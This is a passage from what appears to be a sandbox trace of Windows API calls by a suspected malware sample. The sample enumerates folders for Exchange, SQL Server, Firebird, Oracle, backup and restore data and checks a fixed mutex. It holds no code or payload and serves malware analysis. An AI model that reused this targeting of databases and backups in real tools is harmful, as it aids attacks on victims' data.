cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18y")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.164] GetLastError () returned 0x2 [0047.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.164] GetLastError () returned 0x2 [0047.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.164] GetLastError () returned 0x2 [0047.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.164] GetLastError () returned 0x2 [0047.164] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.164] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.164] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.164] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.165] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.165] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.165] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.165] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.165] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.165] GetLastError () returned 0x12 [0047.165] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.166] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.166] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.166] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned 1 [0047.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.166] GetLastError () returned 0x3 [0047.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18㿬Q\x181")) returned 0xffffffff [0047.166] GetLastError () returned 0x2 [0047.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0047.166] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18♔R\x18j")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18y")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.167] GetLastError () returned 0x2 [0047.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.168] GetLastError () returned 0x2 [0047.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0047.168] GetLastError () returned 0x2 [0047.168] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.168] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.168] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.168] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.168] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.168] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.168] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.168] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.168] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.168] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.169] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.169] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 